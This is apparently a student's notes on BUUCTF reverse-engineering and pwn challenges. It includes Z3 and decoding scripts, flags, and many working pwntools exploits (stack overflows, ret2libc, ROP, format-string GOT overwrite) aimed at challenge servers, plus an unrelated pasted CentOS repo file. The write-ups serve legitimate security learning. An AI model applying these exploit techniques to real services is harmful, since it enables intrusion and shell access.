0, 76, 0, 79, 79, 0, 79, 79, 0, 80,
80, 0, 0, 0, 0, 0, 0, 76, 0, 79,
79, 0, 79, 79, 0, 80, 0, 0, 0, 0,
0, 0, 76, 76, 0, 79, 79, 0, 0, 0,
0, 80, 0, 0, 0, 0, 0, 0, 0, 0,
0, 79, 79, 0, 0, 0, 0, 80, 0, 0,
0, 0, 35, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
35, 0, 0, 0, 0, 0, 0, 0, 0, 0,
77, 77, 77, 0, 0, 0, 35, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 77, 77, 77,
0, 0, 0, 0, 69, 69, 0, 0, 0, 48,
0, 77, 0, 77, 0, 77, 0, 0, 0, 0,
69, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 69, 69, 84, 84,
84, 73, 0, 77, 0, 77, 0, 77, 0, 0,
0, 0, 69, 0, 0, 84, 0, 73, 0, 77,
0, 77, 0, 77, 0, 0, 0, 0, 69, 0,
0, 84, 0, 73, 0, 77, 0, 77, 0, 77,
33, 0, 0, 0, 69, 69
};

放一放

[BUUCTF Reverse/ACTF新生赛2020]Oruga_[actf新生赛2020]oruga 1-CSDN博客

[ACTF新生赛2020]Universe_final_answer

2024.4.22

ELF文件,64位,无壳。

函数分析一下,分析不难,一个if条件和一个函数进行函数变化!

image-20240423193724938

我们点开两个函数看一看

sub_55AC55400860函数,看了一下是一个Z3约束器

image-20240423193945820

下面这个函数,根据上面得到key也就是v5,进行加密得到我们所需的flag!

image-20240423194044055

但是我们可以取一下巧,我们只求出key,然后运行一下这个ELF文件!

得到我们的flag!

​ 了解了一下Z3约束器的原理编写一下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from z3 import *

s = Solver()

v1 = Int('v1')
v2 = Int('v2')
v3 = Int('v3')
v4 = Int('v4')
v5 = Int('v5')
v6 = Int('v6')
v7 = Int('v7')
v8 = Int('v8')
v9 = Int('v9')
v11 = Int('v11')

s.add(-85 * v9 + 58 * v8 + 97 * v6 + v7 + -45 * v5 + 84 * v4 + 95 * v2 - 20 * v1 + 12 * v3 == 12613)
s.add(30 * v11 + -70 * v9 + -122 * v6 + -81 * v7 + -66 * v5 + -115 * v4 + -41 * v3 + -86 * v1 - 15 * v2 - 30 * v8 == -54400)
s.add(-103 * v11 + 120 * v8 + 108 * v7 + 48 * v4 + -89 * v3 + 78 * v1 - 41 * v2 + 31 * v5 - (v6 * 64) - 120 * v9 == -10283)
s.add(71 * v6 + (v7 * 128) + 99 * v5 + -111 * v3 + 85 * v1 + 79 * v2 - 30 * v4 - 119 * v8 + 48 * v9 - 16 * v11 == 22855)
s.add(5 * v11 + 23 * v9 + 122 * v8 + -19 * v6 + 99 * v7 + -117 * v5 + -69 * v3 + 22 * v1 - 98 * v2 + 10 * v4 == -2944)
s.add(-54 * v11 + -23 * v8 + -82 * v3 + -85 * v2 + 124 * v1 - 11 * v4 - 8 * v5 - 60 * v7 + 95 * v6 + 100 * v9 == -2222)
s.add(-83 * v11 + -111 * v7 + -57 * v2 + 41 * v1 + 73 * v3 - 18 * v4 + 26 * v5 + 16 * v6 + 77 * v8 - 63 * v9 == -13258)
s.add(81 * v11 + -48 * v9 + 66 * v8 + -104 * v6 + -121 * v7 + 95 * v5 + 85 * v4 + 60 * v3 + -85 * v2 + 80 * v1 == -1559)
s.add(101 * v11 + -85 * v9 + 7 * v6 + 117 * v7 + -83 * v5 + -101 * v4 + 90 * v3 + -28 * v1 + 18 * v2 - v8 == 6308)
s.add(99 * v11 + -28 * v9 + 5 * v8 + 93 * v6 + -18 * v7 + -127 * v5 + 6 * v4 + -9 * v3 + -93 * v1 + 58 * v2 == -1697)

if s.check() == sat:
result = s.model()

print(result)

脚本跑一下,得到:

1
2
3
4
5
6
7
8
9
10
11
12
[v1 = 48,
v6 = 95,
v2 = 70,
v4 = 82,
v11 = 64,
v3 = 117,
v5 = 84,
v9 = 119,
v8 = 55,
v7 = 121]
#这里我们知道al[0]和al[1]互换了一下,还有al[5]和al[6]互换了一下!
#如下面的箭头所指出!

image-20240423194826431

所以我们的顺序为70 48 117 82 84 121 95 55 119 64(在线工具转下ascll码)

image-20240423192128222

我们得到的key为 F0uRTy_7w@,然后我们ida远程调控一下!

image-20240423192649609

​ 得到flag为actf{F0uRTy_7w@_42}

​ flag{F0uRTy_7w@_42}

​ [buuctf——(ACTF新生赛2020)Universe_final_answer

​ _actf新生赛2020]universe_final_answer-CSDN博客

Z3约束器

z3约束求解器使用_plz input your flag-CSDN博客

[BJDCTF2020]BJD hamburger competition

2024.4.24

这次和以往见的不一样

​ 第一次做Unity3D的逆向题,使用的工具:dnSpy

dnSpy下载地址:dnSpy

我们看一下别人的wp,打开\BJD hamburger competition_Data\Managed\Assembly-CSharp.dll在里面找到下图的地方
我们可以找到密文和几个加密算法

image-20240424203629147

然后我们进行在线解密就行了!

image-20240424203801654

我们得到密文1001,然后我们在进行md5解密

image-20240424203901110

得到明文b8c37e33defde51cf91e1e03e51657da但是要注意他是不区分大小写的还有要区分32位和16位,所以我们两种都要试一下!

转为大写为B8C37E33DEFDE51CF91E1E1E03E51657DA,但是都不对

我们点进去看一些md5加密

image-20240424204829235

​ 所以flag{B8C37E33DEFDE51CF91E}

[Zer0pts2020]easy strcmp

2024.4.25

64位,ELF文件,无壳!

[buuoj-Zer0pts2020]easy strcmp - 今天吃大鸡腿 - 博客园 (cnblogs.com)

以为会是一个简单的比较,但是有点复杂!

[WUSTCTF2020]level4

2024.4.25

ELF文件,64位

数据结构,左子树和右子树

放着!

[羊城杯 2020]easyre

20224.4.25

64位,无壳

F5反汇编一下

image-20240425200311956

大概知道了str1为我们所求的,这里的if条件语句里应该是有函数变换!

image-20240425200823987

encode_one是一个base64编码!

image-20240425203015811

encode_two是字符之间的变化!(这里的a3仔细看一下就知道encode_three里面的转换的字符串,a1为我们所要的字符串)

image-20240425203004820

改一下名字

encode_three函数是凯撒加密,偏移量为3

image-20240425202955564

就可以开始解密了!

倒着解密:首先凯撒解密为:BjYjM5Mjk7NzMR4dIVHs5NzJjY3MTEzM5VhMn3=zQ6NzhhMzhlOD

image-20240425210921673

然后,进行函数变化!把这个分为四部分。

1
2
3
4
5
6
##str2
#1-13 BjYjM5Mjk7NzM #str1 27-39
#14-26 R4dIVHs5NzJjY #str1 1-13
#27-39 3MTEzM5VhMn3= #str1 40-52
#40-52 zQ6NzhhMzhlOD #str1 14-26
#

image-20240425205446228

所以str1的顺序为R4dIVHs5NzJjYzQ6NzhhMzhlODBjYjM5Mjk7NzM3MTEzM5VhMn3=

然后base64解密就行了!

image-20240425212859609

但是它不对

看了一下WP,发现他这个凯撒加密改了一下,要手搓脚本!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def decrypt_caesar(str, key=3):  # 解密函数
text = ""
for i in str:
if ord(i) >= 65 and ord(i) <= 90:
text += chr(65 + ((ord(i) - 65) - key) % 26)
elif ord(i) >= 97 and ord(i) <= 122:
text += chr(97 + ((ord(i) - 97) - key) % 26)
elif ord(i) >= 48 and ord(i) <= 57:
text += chr(48 + ((ord(i) - 48) - key) % 10)
else:
text+=i
return text

m1="EmBmP5Pmn7QcPU4gLYKv5QcMmB3PWHcP5YkPq3=cT6QckkPckoRG"
m2=decrypt_caesar(m1)
print(m2)
#输出为BjYjM2Mjk4NzMR1dIVHs2NzJjY0MTEzM2VhMn0=zQ3NzhhMzhlOD

然后就可以正常解密了,

变化后为R1dIVHs2NzJjYzQ3NzhhMzhlODBjYjM2Mjk4NzM0MTEzM2VhMn0=

image-20240425213259480

得到flag

GWHT{672cc4778a38e80cb362987341133ea2}

BUUCTF-pwn

test_your_nc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
# CentOS-Media.repo
#
# This repo can be used with mounted DVD media, verify the mount point for
# CentOS-6. You can use this repo and yum to install items directly off the
# DVD ISO that we release.
#
# To use this repo, put in your DVD and use it with the other repos too:
# yum --enablerepo=c6-media [command]
#
# or for ONLY the media repo, do this:
#
# yum --disablerepo=\* --enablerepo=c6-media [command]

[c6-media]
name=CentOS-$releasever - Media
baseurl=file:///media/CentOS/
file:///media/cdrom/
file:///media/cdrecorder/
gpgcheck=1
enabled=0
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6














# CentOS-Base.repo
#
# The mirror system uses the connecting IP address of the client and the
# update status of each mirror to pick mirrors that are updated to and
# geographically close to the client. You should use this for CentOS updates
# unless you are manually picking other mirrors.
#
# If the mirrorlist= does not work for you, as a fall back you can try the
# remarked out baseurl= line instead.
#

[base]
name=CentOS-$releasever - Base
baseurl=http://vault.centos.org/6.7/os/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6

# released updates
[updates]
name=CentOS-$releasever - Updates
baseurl=http://vault.centos.org/6.7/updates/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6

# additional packages that may be useful
[extras]
name=CentOS-$releasever - Extras
baseurl=http://vault.centos.org/6.7/extras/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6

# additional packages that extend functionality of existing packages
[centosplus]
name=CentOS-$releasever - Plus
baseurl=http://vault.centos.org/6.7/centosplus/$basearch/
gpgcheck=1
enabled=0
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6

# contrib - packages by Centos Users
[contrib]
name=CentOS-$releasever - Contrib
baseurl=http://vault.centos.org/6.7/contrib/$basearch/
gpgcheck=1
enabled=0
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6

比较简单参考别人的wp

BUUCTF PWN—–第1题:test_your_nc_buuctf pwn第一题-CSDN博客

一、首先下好附件,用checksec检查一下保护机制。

image-20240613185853565

可以看出是64位程序,并且NX是打开的。(堆栈不可执行)

二、静态分析,ida打开!main函数看看,直接调用了/bin/sh,所以根据题目提示直接nc就行.

这里了解一下system函数调用(/bin/sh)

image-20240613190445023

收获:简单的了解一下nc,就是一个起到监听作用

rip

2024.6.14

ida打开,64位,elf文件。

看见了gets和puts,猜测应该是一个栈溢出!!

image-20240701162548343

(看的wp,他说别一味的F5反编译,有时候汇编也可以很容易看的很明白)

看一眼栈的结构

image-20240701162730003

所有长度为:(0xf+8)

找一下溢出点,看一下字符串

image-20240701162905900

发现其实就是假的,捣乱的

最后在fun函数里找到

image-20240701164448472

其实就是一共后门函数,把它溢出到这就行。

image-20240701164641451

p64(0x40118A)

  • 所以payload=’b’*(0xf+8)+p64(0x40118A)
1
2
3
4
5
from pwn import *
p = remote('node5.buuoj.cn', 27032)
payload=b'a'*(0xf+8)+p64(0x40118A)
p.sendline(payload)
p.interactive()

就可以打通了!!

image-20240701164744068

得到flag

flag{3db71f1c-61e9-4343-a218-3770e313470f}

warmup_csaw_2016

2024.6.14

首先checksec查看一下保护机制

image-20240614200748332

ida64位,打开看看,main函数看一看

image-20240614201150481

看见gets,猜测应该就是栈溢出的题。

然后我们ida大概看看能不能找到system()函数

image-20240614201428144

很简单就找到了这个函数,

  • 看一下它的地址,然后找一下这个get函数的溢出条件!

image-20240614201615985

找到V5的地址。加上它的返回值,就可以了

image-20240614203259982

所以payload=’a’*(0x40+8)+p64(0x400611)

所以exp如下:

1
2
3
4
5
from pwn import*
p=remote('node5.buuoj.cn',27947)
payload=b'A'*0x48+p64(0x40060D)
p.sendline(payload)
p.interactive()

还是比较简单的!!

ciscn_2019_n_1

2024.6.16

首先看一下保护机制

image-20240616133958701

有NX和64位架构,然后拖入ida静态看一下

image-20240616134227774

很快就找找到了溢出的地方,简单栈溢出,gets函数,也看见了下面要溢出的system函数,这时候就要看一下他们的地址和gets的栈结构了!!

image-20240616134520124

image-20240616134623702

这时候就可以知道payload是是多少了。

payload=b’A’*0x38+p64(0x4006BE)

exp如下:

1
2
3
4
5
from pwn import*
p=remote('node5.buuoj.cn', 26977)
payload=b'A'*0x38+p64(0x4006BE)
p.sendline(payload)
p.interactive()

还是一道比较简单的栈溢出。

这里有两种解题答案!

ciscn_2019_n_1 ——两种解法_0x41348000-CSDN博客

pwn1_sctf_2016

2024.6.16

查下保护机制

image-20240616140421274

首先开启了NX(堆栈不可执行)保护,无法往堆栈上写东西。32位

ida静态分析一下!

main函数里看一眼没有,查看一下字符串!

看见了要溢出的地方,再找一下溢出点。

image-20240616141050740

看一下它的地址

image-20240616152604543

大概就是它了!

image-20240616141714159

老规矩,找到栈的长度和返回地址的EIP

image-20240616144623380

image-20240616145455643

所以payload如下:

payload = ‘a’*(0x40)+p32(0x8048F0D)

exp如下:

1
2
3
4
5
from pwn import*
p=remote('node5.buuoj.cn', 27300)
payload='a'*(0x40)+p32(0x8048F0D)
p.sendline(payload)
p.interactive()

但是看了一下,没有覆盖成功。

SO,上网找一下,于是乎

image-20240616152938720

在ida中看

image-20240616153402144

所以exp如下:

1
2
3
4
5
6
from pwn import*
p=remote('node5.buuoj.cn', 25269)
payload='a'*(0x24)+p32(0x8048F0D)
p.sendline(payload)
p.interactive()

jarvisoj_level0

2024.6.17

简单检查一下

image-20240617124838710

有NX,并且是64位

ida静态分析一下,查看一下字符串,找到system函数。

image-20240617125140655

看一下它的地址,0x40059A

image-20240617125213367

找到溢出点,read函数

image-20240701174151453image-20240617125552752

老规矩,

payload=‘a’*0x88+ p64(0x40059A)

1
2
3
4
5
from pwn import*
p=remote('node5.buuoj.cn', 29633)
payload='a'*0x88+ p64(0x40059A)
p.sendline(payload)
p.interactive()

image-20240617130157097

​ flag{df26c70f-d2d6-42cf-b9d8-017f492a0a4a}

[第五空间2019 决赛]PWN5

2024.6.17

例行检查

image-20240617160336603

有NX和Stack两个,有canary应该是无法溢出的,32位

ida静态分析一下

image-20240617160629073

找一下漏洞,转了一圈,发现是这个格式化字符串漏洞

image-20240701203946414

首先找一下偏移量,发现偏移量为10

image-20240701204345851

所以exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *


p = remote('node5.buuoj.cn',25676)
process
elf = ELF('./1111')

atoi_got = elf.got['atoi']
system_plt = elf.plt['system']

payload=fmtstr_payload(10,{atoi_got:system_plt})

p.sendline(payload)
p.sendline(b'/bin/sh\x00')

p.interactive()

jarvisoj_level2

2024.6.17

保护机制看一下

image-20240617192853939

NX开启,可能为栈溢出

ida静态分析一下

找到system函数,发现有两个

image-20240617193611848

溢出点还是很好找的

image-20240617193640235

看一下栈的结构

image-20240617193658682

image-20240617193712203

使用

payload=’a’*0x8c+p32(0x804845C)+p32(0x804824B)

exp如下:

1
2
3
4
5
from pwn import*
p=remote('node5.buuoj.cn', 25784)
payload='a'*0x8c+p32(0x804845C)+p32(0x804A024)
p.sendline(payload)
p.interactive()

image-20240617195149595

flag{771e70b6-2538-4648-a9b1-2b1c70e63f1f}

ciscn_2019_n_8

2024.7.11

日常检查

image-20240711184955124

全开,运行一下,猜测是栈溢出

image-20240711185233884

扔进ida,打开看一下

image-20240711190741866

满足条件就行。直接输入14个17进去

1
2
3
4
5
6
from pwn import*
p=remote('node5.buuoj.cn',27801)
payload= p32(17)*14
p.recvuntil('What's your name?\n')
p.sendline(payload)
p.interactive()

image-20240711192447447

flag{7989ff14-33aa-4d91-b06f-95b9f8934d78}

okok,解决

bjdctf_2020_babystack

2024.6.19

日常检查一下

image-20240619190909135

有NX保护,应该是溢出的题。64位

找一下溢出点

image-20240620165142068

溢出的地址如下:

image-20240620165907311

猜一下能发生溢出漏洞的地方应该是read()函数。

image-20240620165614916

看一下栈的结构

image-20240620170308694

所以payload如下:

payload=’a’*0x18+p64()

1
2
3
4
5
from pwn import*
p=remote('node5.buuoj.cn', 28368)
payload='a'*0x18+p32(0x4006E6)
p.sendline(payload)
p.interactive()

但是不行,发现覆盖值没有覆盖到

image-20240620170750821

所以是哪里出了问题。上网看看!

发现这里的要给nbytes赋个值

所以exp如下:

1
2
3
4
5
6
from pwn import *
p=remote('node5.buuoj.cn', 28368)
Payload = b'a'*(0x18) + p64(0x4006E6)
p.sendline("100")#这里的100可以换成别的值,比32的值大就行!
p.sendline(Payload)
p.interactive()

得到flag

flag{a33e0553-59ec-4201-a029-3218cc9d480a}

ciscn_2019_c_1

2024.6.20

日常检查

image-20240620180202153

64位,NX保护,可能是溢出题

ida64位打开,找了一圈,没有明显的system()函数,所以看看能不能找到溢出点,也是看见gets函数了

image-20240620192941504

看一下它的汇编代码,找找栈的结构

image-20240620193334337

image-20240620193338301

但是我们现在找不到system的地方,也就是找不到要覆盖的跳转的地址。上网搜一手!!

所以这里只能让程序调用这些命令。

利用puts函数泄露libc版本

这一类题目的基本做法

1.利用一个程序已经执行过的函数去泄露它在程序中的地址,然后取末尾3个字节,去找到这个程序所使
用的libc的版本。

2.程序里的函数的地址跟它所使用的libc里的函数地址不一样,程序里函数地址=libc里的函数地址+偏移
,在1中找到了libc的版本,用同一个程序里函数的地址-libc里的函数地址即可得到偏移量

3.得到偏移量后就可以推算出程序中其他函数的地址,知道其他函数的地址之后我们就可以构造rop去执行system(’/bin/sh‘)这样的命令

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import*
from LibcSearcher import*

r=remote('node5.buuoj.cn',29142)
elf=ELF('./ciscn_2019_c_1')

main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)

r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()

puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
#print hex(puts_addr)

libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')

r.sendlineafter('choice!\n','1')

payload='\0'+'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)

r.sendlineafter('encrypted\n',payload)

r.interactive()

放着!!!

okok 2024.7.11 回来看一眼。看一眼多少位的,64位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#64位
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os='linux'
p = remote('node5.buuoj.cn',28619)

elf = ELF('./1111')



#params
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
pop_rdi =0x0000000000400c83
ret_addr=0x00000000004006b9
#attack1
payload = b'a'*(0x50+8)+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)

p.sendlineafter('Input your choice!\n',b'1')

p.recvuntil('Input your Plaintext to be encrypted\n')
p.sendline(payload)
p.recvuntil('Ciphertext\n')
p.recvuntil('\n')
gets_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(gets_addr))

得到地址

image-20240711200234031

看一下偏移

image-20240711200300647

1
2
3
puts_addr=0x809c0
str_bin_sh=0x1b3e9a
system_addr=0x4f440

完整如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#64位
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os='linux'
p = remote('node5.buuoj.cn',28619)

elf = ELF('./1111')



#params
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
pop_rdi =0x0000000000400c83
ret_addr=0x00000000004006b9
#attack1
payload = b'a'*(0x50+8)+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)

p.sendlineafter('Input your choice!\n',b'1')

p.recvuntil('Input your Plaintext to be encrypted\n')
p.sendline(payload)
p.recvuntil('Ciphertext\n')
p.recvuntil('\n')
gets_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(gets_addr))

#params2
puts_addr=0x809c0
str_bin_sh=0x1b3e9a
system_addr=0x4f440
#构建libc

libcbase = gets_addr - puts_addr
system_addr = libcbase + system_addr
bin_sh = libcbase + str_bin_sh


#attack2
payload = flat([b'a'*(0x50+8),ret_addr,pop_rdi,bin_sh,system_addr])
p.sendlineafter('Input your choice!\n',b'1')

p.recvuntil('Input your Plaintext to be encrypted\n')
p.sendline(payload)
p.recvuntil('Ciphertext\n')
p.recvuntil('\n')

p.interactive()

image-20240711200642122

解决

flag{6e19bf44-20dc-4a65-862b-a334d541327e}

get_started_3dsctf_2016

2024.6.22

日常检查

image-20240622154316838

32位框架,有NX保护机制

ida静态分析一下

main函数一个明显的gets函数,栈溢出

image-20240622154712723

再看看栈的结构,这里注意:这里有个细节,main中汇编代码没有push ebp,所以v4变量处写入0x38后就是返回地址,一般情况下是有的。

image-20240622211158253

image-20240622211130729

找一下溢出点

image-20240622154922446

猜测应该是这个。这里就是利用后门函数绕过if语句,直接溢出到要执行的地方!

所以构造payload。payload如下:

payload=”a”*0x38+p32(0x80489B8)

exp:

1
2
3
4
5
from pwn import*
p=remote('node5.buuoj.cn', 28751)
payload="a"*0x38+p32(0x80489B8)
p.sendline(payload)
p.interactive()

但是我们发现我们得不到flag,猜测一下是没有flag.txt文件的过。

这里就采用别的方法。我们仔细看一下这个if判断语句,程序将a1和a2进行比较,所以我们可以同用get_flag函数覆盖,并将传递上这两个参数,就可以获得flag了

image-20240622205720135

但是我们覆盖地址之后,有一个get_flag的返回地址,这里我们要换成exit函数,保持它的一个正常回显。因为只有正常的退出才能正确的回显flag。

所以就是’a’*0x38+ ‘ebp’ + get_flag + get_flag的返回地址 + 参数1 + 参数2

edp为无,get_flag返回的地址为exit()函数的地址

image-20240622211601542

其返回地址为0x0804E6A0

在找一下get_flag的函数地址

image-20240622211044133

1
2
3
4
5
from pwn import*
p=remote('node5.buuoj.cn', 26959)
payload=b"a"*0x38+p32(0x080489A0)+p32(0x806D7D1)+p32(0x308CD64F)+p32(0x195719D1)
p.sendline(payload)
p.interactive()

image-20240623134249934

最后也是得到flag了。

flag{bfcc083b-bb00-4371-938f-042f348745b3}

jarvisoj_level2_x64

2024.6.23

日常检查

image-20240623134426772

NX保护机制,64位架构,扔进ida静态分析一下

一进来就看见了system函数,找一下有没有溢出点

image-20240623134741333

看一下上面的函数,

image-20240623141052643

所以就可以就可以溢出了

payload=’a’*0x88+p64(0x4006b3)+p64(0x600A90)+p64(0x4004C0)

这里解释一下为什么是这样的?

64位程序函数调用时的操作和32位有所不同。32位程序函数调用时,依次将子函数的参数从右到左入栈,然后再压栈eip和ebp。64位程序如果子函数的参数数量<=6个,则会将参数从左到右依次存入rdi,rsi,rdx,rcx,r8,r9这6个寄存器中,如果还有参数,则像32位一样压栈。所以64位函数调用后,子函数运行时会先将参数从寄存器里pop出来,也就是会执行pop rdi; ret指令

image-20240623142226592

所以说我们首先就是要传入buf的128(0x80)位加上rbp的8位

image-20240623142513555

但是这里rdi;ret的地址我们是不知道的。所以

这里用工具查找一下

ROPgadget –binary ./1111 –only “pop|ret”

image-20240623143408644

我们这里就得到了rdi;ret的地址为0x4006b3

之后的两个地址就比较好找了

image-20240623143825772

image-20240623143846928

exp如下:

1
2
3
4
5
from pwn import*
p=remote('node5.buuoj.cn', 26595)
payload=b"a"*0x88+p64(0x4006b3)+p64(0x600A90)+p64(0x4004C0)
p.sendline(payload)
p.interactive()

image-20240623144655012

得到flag为

flag{511a6854-cb35-4ba6-9c90-c4394bf3b281}

[HarekazeCTF2019]baby_rop

2024.6.23

日常检查一下

image-20240623182042927

64位,NX保护。ida静态分析一下

main函数中可以看见

image-20240623182318234

猜测一下gadget应该是这个scanf函数,确定一下它的填充长度,长度为0x10+0x08(rbp)

image-20240623182656629

找一下/bin/sh,看一下它的地址

image-20240623182843308

image-20240623183432002

image-20240623190901113

这里要利用ROPgadgets工具找一下rdi的地址,

所以payload如下:

payload=’a’*0x18+p64(0x400683)+ p64(0x601048)+p64(0x400490)

1
2
3
4
5
from pwn import*
p=remote('node5.buuoj.cn', 29192)
payload='a'*0x18+p64(0x400683)+ p64(0x601048)+p64(0x400490)
p.sendline(payload)
p.interactive()

打通之后发现找不到flag,这里用命令找一下

1
find -name 'flag'

image-20240623191244980

这回就可以直接cat了

1
cat home/babyrop/flag

image-20240623191424610

flag{033f1e50-2264-4f73-8a72-fa8ec46c0790}

others_shellcode

2024.6.24

日常检查

image-20240624173558706

NX和PIE保护是开着的,32位

ida静态分析一下,发现没有什么我们以前见到的shell,system函数,这里补充小知识。

除了system(“/bin/sh”) 以外, 还有一种更好的方法, 就是系统调用中的 execve(“/bin/sh”, NULL, NULL)获得shell。我们可以在 Linxu系统调用号表 中找到对应的系统调用号,进行调用, 其中32位程序系统调用号用 eax 储存, 第一 、 二 、 三参数分别在 ebx 、ecx 、edx中储存。 可以用 int 80 汇编指令调用。64位程序系统调用号用 rax 储存, 第一 、 二 、 三参数分别在 rdi 、rsi 、rdx中储存。 可以用 syscall 汇编指令调用。

看了一眼,觉得shell应该藏在这个函数里。

image-20240624174218965

其实看一了下wp,发现直接远程连接一下就可以cat了!

1
2
3
from pwn import*
p=remote('node5.buuoj.cn', 28011)
p.interactive()

这里他们说,题目通过将/bin/sh写入ebx。随后调用int80(sys_execve)系统调用

我们看一下汇编代码。

image-20240624193518927

发现这里调用了eax寄存器,也就是int 80指令

看一下这个指令是干什么的eax=0FFFFFFFFh。eax=eax- 0FFFFFFF4h。所以说结果为11,正好对应着

image-20240624193824777

这里直接对照Linux系统调用表看看

找到对应的为,就是sys_execve的系统调用

1
#define __NR_execve 11

故此直接可以获得shell。

Linux调用表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
#32位
#ifndef _ASM_X86_UNISTD_32_H
#define _ASM_X86_UNISTD_32_H 1

#define __NR_restart_syscall 0
#define __NR_exit 1
#define __NR_fork 2
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
#define __NR_close 6
#define __NR_waitpid 7
#define __NR_creat 8
#define __NR_link 9
#define __NR_unlink 10
#define __NR_execve 11
#define __NR_chdir 12
#define __NR_time 13
#define __NR_mknod 14
#define __NR_chmod 15
#define __NR_lchown 16
#define __NR_break 17
#define __NR_oldstat 18
#define __NR_lseek 19
#define __NR_getpid 20
#define __NR_mount 21
#define __NR_umount 22
#define __NR_setuid 23
#define __NR_getuid 24
#define __NR_stime 25
#define __NR_ptrace 26
#define __NR_alarm 27
#define __NR_oldfstat 28
#define __NR_pause 29
#define __NR_utime 30
#define __NR_stty 31
#define __NR_gtty 32
#define __NR_access 33
#define __NR_nice 34
#define __NR_ftime 35
#define __NR_sync 36
#define __NR_kill 37
#define __NR_rename 38
#define __NR_mkdir 39
#define __NR_rmdir 40
#define __NR_dup 41
#define __NR_pipe 42
#define __NR_times 43
#define __NR_prof 44
#define __NR_brk 45
#define __NR_setgid 46
#define __NR_getgid 47
#define __NR_signal 48
#define __NR_geteuid 49
#define __NR_getegid 50
#define __NR_acct 51
#define __NR_umount2 52
#define __NR_lock 53
#define __NR_ioctl 54
#define __NR_fcntl 55
#define __NR_mpx 56
#define __NR_setpgid 57
#define __NR_ulimit 58
#define __NR_oldolduname 59
#define __NR_umask 60
#define __NR_chroot 61
#define __NR_ustat 62
#define __NR_dup2 63
#define __NR_getppid 64
#define __NR_getpgrp 65
#define __NR_setsid 66
#define __NR_sigaction 67
#define __NR_sgetmask 68
#define __NR_ssetmask 69
#define __NR_setreuid 70
#define __NR_setregid 71
#define __NR_sigsuspend 72
#define __NR_sigpending 73
